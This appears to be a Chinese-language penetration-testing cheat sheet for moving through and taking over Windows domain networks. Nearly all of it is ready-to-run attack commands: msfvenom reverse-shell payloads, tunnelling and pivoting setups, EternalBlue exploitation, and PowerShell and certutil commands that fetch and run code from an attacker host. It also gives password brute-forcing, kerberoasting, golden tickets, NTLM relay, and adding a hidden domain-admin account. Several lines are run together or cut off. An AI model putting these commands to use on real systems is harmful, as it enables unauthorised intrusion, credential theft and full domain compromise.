( copy ok.exe \\%i\admin$\debug\ /Y ) & wmic /NODE:"%i" /user:"administrator" /password:"password" PROCESS call create "c:\windows\debug\ok.exe" & @ping 127.0.0.1 -n 8 >nul & net use \\%i\admin$ /del

WMIC
>net use \\192.168.0.55\ipc$ "password" /user:"domain\administrator">copy ok.exe \\192.168.0.55\c$\windows\temp>wmic /NODE:" 192.168.0.55" /user:"administrator" /password:"password" PROCESS call create "c:\windows\temp\ok.exe">del \\192.168.0.55\c$\windows\temp\ok.exe /F>net use \\192.168.0.55\c$ /del

快速定位域管理登過的機器
>psexec –accepteula @ips.txt –u admin –p pass@123 –c 1.battasklist /v | find 「域管理名字」@echo offecho check ip addr config file…if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto endecho read and analysis file…for /F 「eol=:endexit

MSF添加路由
# route add 內網網卡ip 子網掩碼 session的id# route list&Meterpreter>run get_local_subnets查看網段信息再添加路由# run autoroute -s內網網卡ip/24# run autoroute -p 查看路由表&Meterpreter>run post/multi/manage/autoroute

MSF管道監聽
在已經獲得meterpreter的機器上配置管道監聽器meterpreter > pivot add -t pipe -l 已控IP -n bgpipe -a x86 -p windows生成>msfvenom -p windows/meterpreter/reverse_named_pipe PIPEHOST=已控IP PIPENAME=bgpipe -f exe -o pipe.exe.

代理

SSH正向代理
SSH動態轉發,是建立正向加密的socks通道出網靶機編輯後restart ssh服務AllowTcpForwarding yes 允許TCP轉發GatewayPorts yes   允許遠程主機連接本地轉發的埠TCPKeepAlive yes    TCP會話保持存活PasswordAuthentication yes  密碼認證外部攻擊機執行>ssh -C -f -N -g -D 0.0.0.0:12138 root@出網靶機IP -p 22MSF中設置全局代理或使用其他軟體>setg proxies socks5:0.0.0.0:12138即可進行攻擊隔離區機器


反向代理
AllowTcpForwarding yes 允許TCP轉發GatewayPorts yes   允許遠程主機連接本地轉發的埠TCPKeepAlive yes    TCP會話保持存活PasswordAuthentication yes  密碼認證ClientAliveInterval 修改為30-60保持連接ClientAliveCountMax 取消注釋 發送請求沒響應自動斷開次數107是外網攻擊機內網靶機執行:

>ssh -p 22 -qngfNTR 12138:127.0.0.1:22 root@192.168.0.107


攻擊機執行

>ssh -p 12138 -qngfNTD 12345 root@192.168.0.107


隧道建立,可使用代理軟體配置攻擊機外網IP:12345訪問內網


SSH隧道+rc4雙重加密
生成木馬>msfvenom -p windows/x64/meterpreter/bind_tcp_rc4 rc4password=123456 lport=446 -f exe -o /var/www/html/bind.exeMSF設置>setg proxies socks5:0.0.0.0:12138>use exploit/multi/handler>set payload windows/x64/meterpreter/bind_tcp_rc4>set rc4password 123456>set rhost 10.1.1.97>set lport 446


公網SSH隧道+Local MSF
>msfvenom -p windows/x64/meterpreter/reverse_tcp -e x64/shikata_ga_nai -i 5 -b 『\x00』 LHOST=公網IP LPORT=12138 -f exe –o /var/www/html/1.exeHandler監聽本地IP:12138SSH轉發>ssh -N -R 12138:本地內網IP:12138 root@公網IP

socks4a
多層網絡再多配置個埠Win: Proxifier& Sockscap64Linux: proxychains& 瀏覽器&meterpreter > ipconfig IP Address : 10.1.13.3 meterpreter > run autoroute -s 10.1.13.0/24 meterpreter > run autoroute -p 10.1.13.0 255.255.255.0 Session 1 meterpreter > bg msf auxiliary(tcp) > use exploit/windows/smb/psexec msf exploit(psexec) > set RHOST 10.1.13.2 msf exploit(psexec) > exploit 

socks5
#use auxiliary/server/socks5#set srvhost 0.0.0.0#set srvport 1080#run

瀏覽器

基於web的socks5
reGeorghttps://github.com/sensepost/reGeorg>python reGeorgSocksProxy.py -u http://靶機/tunnel.aspx -l 外網IP -p 10080打開Proxifier,更改為腳本指定的埠10080

或proxychains

去掉dynamic_chain注釋>添加socks5 127.0.0.1 10080

或MSF

或MSF>setg proxies socks5:外網IP:10080>setg ReverseAllowProxy true 允許反向代理


Neo-reGeorg
Step 1. 設置密碼生成 tunnel.(aspx|ashx|jsp|jspx|php) 並上傳到WEB伺服器$ python3 neoreg.py generate -k password


偽裝頁面

$ python3 neoreg.py generate -k <you_password> --file 404.htmlStep 2. 使用 neoreg.py 連接WEB伺服器,在本地建立 socks 代理$ python3 neoreg.py -k password -u http://xx/tunnel.php$ python3 neoreg.py -k <you_password> -u <server_url> --skip開啟代理$ python neoreg.py -k <you_password> -l 外網IP -p 10081 -u http://xx/neo-tunnel.aspx


ABPTTS埠轉發

https://github.com/nccgroup/ABPTTS埠轉發>python abpttsfactory.py -o webshell 生成shell./webshell目錄下生成的相應腳本文件傳入目標中>python abpttsclient.py -c webshell/config.txt -u "http://目標網址/trans.aspx" -f 攻擊機IP:12345/目標IP:3389

ABPTTS轉發內網其他機器埠

>python abpttsclient.py -c webshell/config.txt -u http:

要轉發多個機器或多個埠

>python abpttsclient.py -c webshell/config.txt -u http:SSH代理一級網段需要一臺有權限的Linux靶機>python abpttsclient.py -c webshell/config.txt -u http:>ssh -p 222 -qTfnN -D 0.0.0.0:1081 root@192.168.0.107

配置proxychains即可

SSH代理二級網段

需要靶機web權限,一級內網一臺web權限轉發內網web出來傳入abptts的shell>python abpttsclient.py -c webshell/config.txt -u http:>python abpttsclient.py -c webshell/config.txt -u http:SSH連接192.168.0.107:222即可到達二級網絡反彈msfkali生成bind型腳本>msfvenom -p linux/x64/shell_bind_tcp LPORT=12138 -f elf -o shell在二級不出網linux上執行將他的12138埠通過abptts轉出>python abpttsclient.py -c webshell/config.txt -u http:Msf本地監聽13128即可

Tunna轉發
>python proxy.py -u http:

Earthworm


正向(目標機存在外網IP):
>ew –s ssocksd –l 888連接sockscap64靶機外網IP+埠888

反彈socks5(目標機無外網IP):

外網攻擊機:>ew -s rcsocks -l 1008 -e 888-l為socks軟體連接的埠,-e為目標主機和vps的通信埠。靶機:>ew -s rssocks -d 外網IP -e 1008 sockscap64連接攻擊機外網IP+埠1008二級環境(A有外網,B內網無外網):靶機B:>ew –s ssocksd –l 888靶機A:>ew –s lcx_tran –l 1080 –f 靶機B –g 888Sockscap64連接靶機外網IP+埠 1080

二級環境(A無外網,B內網無外網):
外網攻擊機:>ew –s lcx_listen –l 10800 –e 888靶機B:>ew –s ssocksd –l 999靶機A:>ew -s lcx_slave -d 外網 -e 8888 -f 靶機B -g 9999 Sockscap64連接攻擊機外網IP+埠 10080

三級環境(A無外網,B內網無外網通A,C通B):

外網攻擊機:>ew -s rcsocks -l 1008 -e 888靶機A:>ew -s lcx_slave -d 外網攻擊機 -e 888 -f 靶機B -g 999靶機B:>ew -s lcx_listen -l 999 -e 777靶機C:>ew -s rssocks -d靶機B -e 777Sockscap64連接攻擊機外網IP+埠 1008

Frp
https://github.com/fatedier/frp/releases/使用條件:目標主機通外網,擁有自己的公網ip對攻擊機外網服務端frps.ini進行配置[common]bind_port=8080靶機客戶端[common]server_addr=伺服器端外網IPserver_port=8080[socks5]type=tcpremote_port=12345plugin=socks5use_encryption=trueuse_compression=true以上是啟用加密和壓縮,能躲避流量分析設備。上傳frpc.exe和frpc.ini到目標伺服器上,直接運行frpc.exe(在實戰中可能會提示找不到配置文件,需要使用-c參數指定配置文件的路徑frpc.exe -c 文件路徑),可以修改文件名和配置名以混淆視聽。公網vps主機上運行./frps –c frps.ini靶機執行./frpc –c frpc.ini


MSF中設置全局變量

>setg proxies 公網IP:12345>setg ReverseAllowProxy true 運行反向代理

結束攻擊

tasklist taskkill /pid 進程號 -t –f

SSF
https://github.com/securesocketfunneling/ssf/releases



正向socks代理

邊界機器執行:>ssfd.exe -p 1080 linux執行:./ssfd -p 1080

攻擊機執行:


>ssf.exe -D 12138 -p 1080 192.168.0.98(邊界機器IP)

本機配置proxychain或proxifier

反向socks代理

內網機器執行:


>ssf.exe -F 12138 -p 1080 192.168.0.106(攻擊機IP)

多級級聯
多級內網機執行:>ssfd.exe -p 1080 -c config.jsonJson文件加入欄位"circuit": [ {"host": "A中繼機IP", "port":"1080"}, {"host": "B中繼機IP", "port":"1080"} ],所有中繼機執行:>ssfd.exe -p 1080 -c config.json邊界機器執行:>ssf.exe -c config.json -p 1080 多級內網機IP -X 12138邊界機執行:>nc.exe 127.0.0.1 12138即可獲得多級內網機cmdshell

反彈shell
攻擊機執行:>ssfd.exe -p 1080 -c config.json

內網機器執行

攻擊機執行:

Shadowsocks
https://github.com/shadowsocks/libQtShadowsocks/releases/download/v2.0.2/shadowsocks-libqss-v2.0.2-win64.7z靶機新建配置文件1.json,內容為{"server":"0.0.0.0","server_port":13337,"local_address":"127.0.0.1","local_port":1080,"password":"123456","timeout":300,"method":"aes-256-cfb","fast_open":false,"workers": 1}執行>shadowsocks-libqss.exe -c 1.json –S攻擊機配置

瀏覽器或其他攻擊軟體配置代理127.0.0.1:1080即可(需有http(s)/socks5功能)


Goproxy
https:靶機執行>proxy.exe socks -t tcp -p "0.0.0.0:13337"

攻擊機配置Proxifier

Chisel
https://github.com/jpillora/chisel/releases攻擊機監聽>chisel.exe server -p 12138 --reverse

靶機執行

>chisel.exe client 192.168.0.102:12138 R:12345:127.0.0.1:12346

靶機執行


>chisel.exe server -p 12346 --socks5

攻擊機執行

>chisel.exe client 127.0.0.1:12345 socks

當隧道建立成功時,攻擊機本地會啟動1080埠


即可使用


https:https:下載ngrok#ngrok authtoken 授權碼#ngrok http 8080#ngrok tcp 8888

代理軟體
Sockscap64Proxifier Proxychains去掉dynamic_chain注釋>添加socks4 127.0.0.1 1080

Ngrok內網穿透
https:https:下載ngrok#ngrok authtoken 授權碼#ngrok http 8080#ngrok tcp 8888

MS17-010
掃描#use auxiliary/scanner/smb/smb_ms17_010#set rhosts 192.168.1.0/24&#nmap -sT -p 445,139 -open -v -Pn --script=smb-vuln-ms17-010.nse 10.11.1.0/20攻擊#use exploit/windows/smb/ms_17_010_eternalblue易藍屏#set payload windows/x64/meterpreter/reverse_tcp#use auxiliary/admin/smb/ms17_010_command#set command REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\" /t REG_SZ /v Debugger /d \"C:\\windows\\system32\\cmd.exe\" /f

MS08_067

#nmap -sT -p 445,139 -open -v -Pn --script=smb-vuln-ms08-067.nse 10.11.1.0/20#use exploit/windows/smb/ms08_067_netapi#set payload windows/meterpreter/reverse_tcpCVE-2019-0708

攻擊MySQL資料庫

攻擊MSSQL資料庫
>PowerShell -Command "[System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources()" 列出域內mssql主機https://github.com/NetSPI/PowerUpSQL>Get-SQLInstanceLocal          >Get-SQLInstanceDomain         >Get-SQLInstanceBroadcast      >$Targets = Get-SQLInstanceBroadcast -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -username sa -password admin | Where-Object {$_.Status -like "Accessible"} 工作組mssql爆破>$Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -username sa -password admin | Where-Object {$_.Status -like "Accessible"}>Get-SQLInstanceBroadcast -Verbose | Get-SQLServerLoginDefaultPw –Verbose>$Targets 域內MSSQL爆破Nishang腳本爆破MSSQL>Invoke-BruteForce -ComputerName dc.zone.com -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service SQL -Verbose -StopOnSuccess#use auxiliary/scanner/mssql/mssql_login 爆破主機#use auxiliary/admin/mssql/mssql_exec 調用cmd#use auxiliary/admin/mssql/mssql_sql 執行SQL語句#use exploit/windows/mssql/mssql_payload 上線MSSQL主機http://192.168.0.107/ps/nishang/Execution/Execute-Command-MSSQL.ps1導入nishang執行MSSQL命令的腳本>IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/nishang/Execution/Execute-Command-MSSQL.ps1')>Execute-Command-MSSQL -ComputerName 192.168.0.98 -UserName sa -Password admin 會返回powershell#use auxiliary/scanner/mssql/mssql_hashdump 導出MSSQL密碼已知伺服器ntlmhash,未知mssql帳號密碼Hash注入+socks無密碼連接mssql>mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:. /ntlm:{hash} /run:\"C:\*\SocksCap64\SocksCap64_RunAsAdmin.exe\"" "exit"將SSMS.exe加入sockscap中啟動命令行版sqltoolhttps://github.com/uknowsec/SharpSQLTools

隔離主機payload
隔離主機一般與攻擊機無雙向路由,payload設置為bind讓靶機監聽。>set payload windows/meterpreter/bind_tcp>set RHOST 隔離機IP

爆破Hydra
參數:-l 指定的用戶名 -p 指定密碼-L 用戶名字典  -P 密碼字典-s 指定埠 -o 輸出文件>hydra -L /root/user.txt -P pass.txt 10.1.1.10 mysql>hydra -L /root/user.txt -P pass.txt 10.1.1.10 ssh -s 22 -t 4>hydra -L /root/user.txt -P pass.txt 10.1.1.10 mssql -vv>hydra -L /root/user.txt -P pass.txt 10.1.1.10 rdp -V>hydra -L /root/user.txt -P pass.txt smb 10.1.1.10 -vV>hydra -L /root/user.txt -P pass.txt ftp://10.1.1.10

Medusa
參數:-h 目標名或IP  -H 目標列表-u 用戶名 -U 用戶名字典-p 密碼 -P 密碼字典 -f 爆破成功停止 -M 指定服務 -t 線程-n 指定埠 -e ns 嘗試空密碼和用戶名密碼相同>medusa -h ip -u sa -P /pass.txt -t 5 -f -M mssql>medusa -h ip -U /root/user.txt -P /pass.txt -t 5 -f -M mssql

域內爆破

Kerbrute
https:用戶枚舉>kerbrute_windows_amd64.exe userenum -d zone.com username.txt

密碼噴射

>kerbrute_windows_amd64.exe passwordspray -d zone.com use.txt password

密碼爆破
此項會產生日誌

>kerbrute_windows_amd64.exe bruteuser -d zone.com pass.txt name

組合爆破

格式為username:password>kerbrute_windows_amd64.exe -d zone.com bruteforce com.txt

DomainPasswordSpray
https:自動收集帳戶進行密碼噴射>Invoke-DomainPasswordSpray -Password pass

組合爆破

>Invoke-DomainPasswordSpray -UserList users.txt -Domain zone.com -PasswordList passlist.txt -OutFile result.txt會產生日誌單密碼>Invoke-DomainPasswordSpray -UserList users.txt -Domain zone.com -Password password

方程式內網不產生session
msfvenom生成一個x64或x86的dll文件,替換該工具下的x64.dll或x86.dllwindows server 2008 ,msfvenom生成x64.dll文件msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=12345 -f dll > x64.dllmsf配置use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset lport 12345set lhost 192.168.0.107將該x64.dll替換到方程式利用工具下面。只需要更換目標的IP,就可以獲取session。windows server 2003 ,msfvenom生成x86.dll文件msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=12345 -f dll > x86.dllmsf配置use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lport 12345set lhost 192.168.0.107通過ms17_010_commend模塊執行系統命令添加用戶至管理員。再指定SMBPass和SMBUser來建立windows可訪問命名管道

Kerberoasting

SPN發現cmd

Powershell

Powerview>Get-NetComputer -SPN termsrv*>Get-NetUser -SPN

>import module GetUserSPNs.ps1

Empire
>usemodule situational_awareness/network/get_spn

申請票據
>Add-Type -AssemblyName System.IdentityModel>New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SPN"&>kerberos::ask /target:SPN

導出票據
mimikatz>kerberos::list /export


破解密碼
>python tgsrepcrack.py word.txt file.kirbihttps://github.com/leechristensen/tgscrack>python extractServiceTicketParts.py file.kirbi>tgscrack.exe -hashfile hash.txt -wordlist word.txt

重寫票據
>python kerberoast.py -p Password123 -r file.kirbi -w new.kirbi -u 500>python kerberoast.py -p Password123 -r file.kirbi -w new.kirbi -g 512注入內存、>kerberos::ptt new.kirbi

GetUserSPNs
https://github.com/SecureAuthCorp/impacket請求TGS>python GetUserSPNs.py -request -dc-ip 10.1.1.1 zone.com/y破解>hashcat -m 13100 -a 0 kerberos.txt wordlist.txt

ASEPRoasting

當用戶關閉了kerberos預身份認證時可以進行攻擊

>Rubeus.exe asreproast /user:y /dc:10.1.1.100 /domain:zone.com


或使用Powerview結合https://github.com/gold1029/ASREPRoast
獲取不要求kerberos預身份驗證的域內用戶

>Get-DomainUser -PreauthNotRequired -Properties distinguishedname –Verbose


>Get-ASREPHash -UserName y -Domain zone.com -Verbose


破解RC4-HMAC AS-REP

>john hash.txt --wordlist=wordlist.txt



PASS-THE-HASH
允許本地管理組所有成員連接>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f  

WMIExec & TheHash
>powershell -ep bypass>IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Invoke-TheHash/Invoke-WMIExec.ps1'); >IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Invoke-TheHash/Invoke-TheHash.ps1');>Invoke-TheHash -Type WMIExec -Target 192.168.0.0/24 -Domain zone.com -Username godadmin -Hash f1axxxxxxxxxb771


WMI
>net use \\1.1.1.1\admin$ /user:"administrator" "password">copy windowsupdate.exe \\1.1.1.1\admin$\dir\>wmic /NODE:"1.1.1.1" /user:"administrator" /password:"password" PROCESS call create "c:\windows\dir\windowsupdate.exe" >del \\1.1.1.1\admin$\dir\windowsupdate.exe /F >net use \\1.1.1.1\admin$ /del



wmiexec.py
https://github.com/SecureAuthCorp/impacket >python wmiexec.py -hashes AAD3B435B51404EEAAD3B435B51404EE:A812E6C2DEFCB0A7B80868F9F3C88D09 域名/Administrator@192.168.11.1 "whoami">python wmiexec.py admin@192.168.1.2


wmiexec.vbs
半交互式:>cscript //nologo wmiexec.vbs /shell 192.168.1.2 admin pass單條命令>cscript //nologo wmiexec.vbs /cmd 192.168.1.2 domain\admin pass "whoami"下載執行>wmic /node:192.168.0.115 /user:godadmin /password:password PROCESS call create "cmd /c certutil.exe -urlcache -split -f http://192.168.0.107/clickme.exe c:/windows/temp/win.exe & c:/windows/temp/win.exe & certutil.exe -urlcache -split -f http://192.168.0.107/clickme.exe delete"



Powershell
>wmic /NODE:192.168.3.108 /user:"godadmin" /password:"password" PROCESS call create "powershell -nop -exec bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.107/xxx.txt');\""Invoke-WMIExec>powershell -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Invoke-WMIExec.ps1');Invoke-WMIExec -Target 192.168.0.115 -Domain Workgroup -Username godadmin -Hash f1a5b1a3641bec99ff92fe9df700b771 -Command \"net user admin Qwe@123 /add\" -Verbose"

>powershell -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Invoke-WMIExec.ps1');Invoke-WMIExec -Target 192.168.0.115 -Domain Workgroup -Username godadmin -Hash f1xxxxxxxxxxxxx771 -Command \"mshta http://192.168.0.107:8080/YAyAPN6odzbAzKn.hta\" -Verbose"

Psexec

>psexec.exe -hashes AAD3B435B51404EEAAD3B435B51404EE:A812E6C2DEFCB0A7B80868F9F3C88D09域名/Administrator@192.168.1.1 "whoami"
>psexec.exe –accepteula \\192.168.1.2 –u admin –p pass cmd.exe 無確認窗
Msf
#use exploit/windows/smb/psexec
#use exploit/windows/smb/psexec_psh(powershell版本)

Mimikatz
Windows XP、Vista、2008、7、2008 r2 和2012沒有安裝KB2871997補丁的機器上,使用NTLM進行PTHmimikatz # privilege::debugmimikatz # sekurlsa::pth /user:admin /domain:xxx.com /ntlm:{ntlm}執行一個文件mimikatz # sekurlsa::pth /user:admin /domain:xxx.com /ntlm:{ntlm} /run:powershell.exeWindows 8.1 、2012 R2、安裝KB2871997的Win 7 、2008 R2和2012上可使用AES KEY進行PTH>privilege::debug>sekurlsa::ekeys>sekurlsa::pth /user:administrator /domain:zone.com /aes128:{key}

pth-winexe
>pth-winexe -U godadmin%password --system --ostype=1 //192.168.0.115 cmd


Smbexec
>python smbexec.py administrator@192.168.0.98


PASS-THE-TICKET
名詞KDC(Key Distribution Center):密鑰分發中心,裡面包含兩個服務:AS和TGSAS(Authentication Server):身份認證服務TGS(Ticket Granting Server):票據授予服務TGT(Ticket Granting Ticket): 由身份認證服務授予的票據,用於身份認證,存儲在內存,默認有效期為10小時

黃金票據+Mimikatz
Golden Ticket偽造TGT(Ticket Granting Ticket),可以獲取任何Kerberos服務權限,域控中提取krbtgt的hash域控:dc.zone.com域內機器:sub2k8.zone.com域內普通用戶:y域內機器是不能訪問dc上的文件

清空票據

域控中獲取krbtgt用戶的信息

>privilege::debug>mimikatz log "lsadump::dcsync /domain:zone.com /user:krbtgt"獲取信息:/domain、/sid、/aes256



在sub2k8中生成golden ticket

>mimikatz 「kerberos::golden /krbtgt:{ntlmhash} /admin:域管理 /domain:域名 /sid:sid /ticket:gold.kirbi」

導入

Mimikatz#kerberos::ptt 123.kirbi



白銀票據+Mimikatz

Silver Ticket是偽造的TGS,只能訪問指定服務權限域控:dc.zone.com域內機器:sub2k8.zone.com域內普通用戶:y域控中導出>privilege::debug>sekurlsa::logonpasswords

Sub2k8偽造票據

>mimikatz "kerberos::golden /domain:zone.com /sid:{SID} /target:dc.zone.com /service:cifs /rc4:{NTLM} /user:y /ptt"


MS14-068
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe域控:dc.zone.com/10.1.1.100域內機器:sub2k8.zone.com/10.1.1.98域內普通用戶:y,Sub2k8中清除票據Mimikatz>whoami /user查看SID 創建ccache票據文件> MS14-068.exe -u y@zone.com -p password -s S-1-5-21-2346829310-1781191092-2540298887-1112 -d dc.zone.com注入票據Mimikatzpsexec無密碼登陸>PsExec.exe \\dc.xx.com\ cmd.exe


Mimikatz+MSF
>whoami /user 查看SIDmsf >use auxiliary/admin/kerberos/ms14_068_kerberos_checksummsf >set domain 域名msf >set password 密碼msf >set rhost 域控機器msf >set user 用戶msf >set user_sid sid得到.bin文件#apt-get install krb5-user上傳mimikatz和bin文件Mimikatz# Kerberos::clist 「xxxx.bin」 /export生成kirbi文件Meterpreter >load kiwiMeterpreter >download c:/wmpub/xxxxxx.kirbi /tmp/注入票據Meterpreter >kerberos_ticket_use /tmp/xxxxxx.kirbi#use exploit/windows/local/current_user_psexec#set TECHNIQUE PSH#set RHOST dc.xx.com#set payload windows/meterpreter/reverse_tcp#set LHOST 192.168.1.1#set session 1#exploit

goldenPac.py
#exploitkali下#apt-get install krb5-user#goldenPac.py –dc-ip 10.1.1.100 –target-ip 10.1.1.100 zone.com/y:password@dc.zone.com

帳戶委派帳戶非受限委派

設置用戶y為服務帳戶(服務帳戶有委派權限)

>setspn -U -A variant/golden y

查詢非受限委派域內帳號,使用powerview

>Get-NetUser -Unconstrained -Domain zone.com


利用

管理員權限打開mimikatz導出TGT>privilege::debug>sekurlsa::tickets /export


清空票據,導入票據

獲得Powershell會話

> Enter-PSSession -ComputerName dc.zone.com



帳戶受限委派

查詢受限委派用戶

> Get-DomainUser -TrustedToAuth –Domain zone.com

查詢受限委派主機

> Get-DomainComputer -TrustedToAuth -Domain zone.com

利用方法後見權限維持模塊

資源受限委派
獲取域管理員>Get-DomainUser|select -First 1域對象信息>Get-DomainObject -Identity 'DC=zone,DC=com'ms-ds-machineaccountquota允許非特權用戶將最多 10 臺計算機連接到域


查看有沒有設置msDS-AllowedToActOnBehalfOfOtherIdentity策略

>Get-DomainComputer dc|select name, msDS-AllowedToActOnBehalfOfOtherIdentity


用powermad添加一具備SPN的機器帳戶

https:>New-MachineAccount -MachineAccount newcom



>$pass = ConvertTo-SecureString '123qwe!@#' -AsPlainText –Force>New-MachineAccount –MachineAccount newcom -Password $pass或>New-MachineAccount -MachineAccount newcom -Password $(ConvertTo-SecureString '123qwe!@#' -AsPlainText -Force)


獲取添加的機器帳戶的SID

將添加的機器帳戶的SID設置給DC的msDS-AllowedToActOnBehalfOfOtherIdentity參數>$SD=New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2346829310-1781191092-2540298887-1122)"; $SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

設置完成後查看

配置ACL允許訪問

>$RawBytes=Get-DomainComputer dc -Properties 'msds-allowedtoactonbehalfofotheridentity' |select -expand msds-allowedtoactonbehalfofotheridentity;$Descriptor= New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes,0;$Descriptor.DiscretionaryAcl


此時使用創建的機器帳戶的hash可偽造域管
先獲取newcom的NTLM

>Rubeus.exe hash /password:123qwe!@


導入票據偽造域管用戶訪問cifs服務

>Rubeus.exe s4u /user:newcom$ /rc4:00AFFD88FA323B00D4560B F9FEF0EC2F /impersonateuser:godadmin /msdsspn:cifs/dc.zone.com /ptt


成功獲取到godadmin的tgs

CVE-2019-0708
>python ntlmrelayx.py -t ldaps://dc.zone.com --remove-mic --delegate-access -smb2support>python printerbug.py zone.com/y@win7.zone.com 192.168.0.attack>python getST.py -spn host/win7.zone.com 'zone.com/機器帳戶$:密碼' -impersionate administrator -dc-ip 192.168.0.1>export KRB5CCNAME=XX.ccahe>python secretdump.py -k -no-pass dc.zone.com -just-dc

NTLM中繼Ntlmrelayx+資源受限委派
域控需啟用ldaps,域機器啟用ipv6*當執行ntlmrelayx腳本時,遇到報錯

修改

impacket/impacket/examples/ntlmrelayx/attacks/ldapattack.py ldapattack.py腳本,在510行上方加入if self.config.interactive:


再重新安裝>python setup.py install使用mitm6通過ipv6接管dns伺服器,配置好後開始請求網絡的WPAD>mitm6 -i eth1 -d zone.com

使用ntlmreplyx.py監聽

>python ntlmrelayx.py -t ldaps:當目標重啟網絡、訪問瀏覽器、重啟電腦時會把攻擊機視為代理伺服器,當目標通過攻擊機代理伺服器訪問網絡時,攻擊機將會向目標發送代理的認證請求,並中繼NTLM認證到LDAP伺服器上,完成攻擊。這裡要使用ldaps,因為域控會拒絕在不安全的連接中創建帳戶。


可以看到

已經成功添加了一個機器帳戶RFAYOVCC密碼6YdX.NXqQGyuR7[

使用此機器帳戶申請票據

>python getST.py -spn cifs/sub2k8.zone.com zone.com/RFAYOVCC\$ -impersonate y

>export KRB5CCNAME=y.ccache獲取shell>python smbexec.py -no-pass -k sub2k8.zone.com

dumphash、緩存hash>python secretsdump.py -k -no-pass sub2k8.zone.com

當域控機器未啟用LDAPS,並且已獲得域普通用戶權限時
使用powermad創建一個機器帳戶newcom

https:>New-MachineAccount -MachineAccount newcom -Password $(ConvertTo-SecureString '123qwe!@#' -AsPlainText -Force)


>python ntlmrelayx.py -t ldaps:


後續正常操作即可。

內網存在java webdav時PROPPATCH、PROPFIND、 LOCK等請求方法接受XML作為輸入時會形成xxe。攻擊者要求採用NTLM認證方式是,webdav會自動使用當前用戶的憑據認證。使用ntlmrelayx監聽

>python ntlmrelayx.py -t ldaps://dc.zone.com -debug -ip 10.1.1.101 --delegate-access --escalate-user newcom\$Burp發送xxe請求PROPFIND /webdav HTTP/1.1Host: 1.1.1.1
<?xml version"1.0" encoding="UFT-8"?><!DOCTYPE xxe [<!ENTITY loot SYSTEM "http://10.1.1.101"> ]><D:xxe xmln:D="DAV:"><D:set><D:prop><a xmlns="http://xx.e">&loot;</a></D:prop></D:set></D:xxe>


ResponderSMB協議截獲
內網中間人攻擊腳本,kali內置監聽網絡接口>responder -I wlan0(eth0)指定某臺機器或網段:修改/etc/responder/Responder.py中RespondTo參數。網段中有認證行為會捕獲NTLMv2 hash

當訪問一個不存在的共享時修改配置文件來解析
Xp

修改/usr/share/responder/servers/SMB.py定位到errorcode修改為\x71\x00\x00\xc0,刪除掉/usr/share/responder/Responder.db

XP時使用\\cmd\share形式訪問共享輸入密碼達4次會斷開連接。

定位到

修改self.ntry != 10
Win7以上

修改/usr/share/responder/servers/SMB.py定位到

刪除掉and GrabMessageID(data)[0:1] == "\x02",刪除掉/usr/share/responder/Responder.db修改後可以進行解析,捕獲hash,否則會報錯誤64


WPAD代理欺騙
>responder -I eth0 -v -F F參數即可開啟強制WPAD認證服務抓取 hash,訪問IE或重啟電腦即可發送欺騙認證獲得hash。

重啟也可以抓到

Web漏洞

內網中使用文件包含漏洞和XSS

>Responder -I eth0 -vhttp:http:

中繼攻擊
修改/etc/responder/Responder.conf文件,配置smb和http為Off,分別開啟兩個對話框,使用F參數啟用WPAD欺騙瀏覽器,使用/usr/share/responder/tools中的MultiReplay.py進行中繼攻擊獲得目標cmdshell。>Responder -I eth0 -v -F>python MultiReplay.py -t 192.168.0.115 -u ALL


NTLMv2Hash破解

使用hashcat破解 -m 5600為NTLMv2類型

>hashcat -m 5600 pass.txt wordlists.txt


GPP-Password
域內機器可訪問\\zone.com\SYSVOL\zone.com共享文件夾,翻看策略文件,查找groups.xml,ScheduledTasks\ScheduledTasks.xml,Printers\Printers.xml,Drives\Drives.xml,DataSources\DataSources.xml, Services\Services.xml等文件

使用powersploit腳本解密

使用msf的auxiliary/scanner/smb/smb_enum_gpp模塊

WinRM無文件執行
>winrm quickconfig –q啟動winrm或PS>Enable-PSRemoting -Force生成木馬並啟動監聽

放入已獲得權限的機器C盤中
內網另外機器中執行

>net use \\192.168.0.115\c$>winrm invoke create wmicimv2/win32_process @{commandline="\\192.168.0.115\c\index.exe"}


添加域管命令
>net user admin$ pass@123 /add /doamin>net group "Domain admins" admin$ /add /domain


SSH密鑰免密登錄
>ssh -i id_rsa user@192.168.0.110

獲取保存的RDP密碼
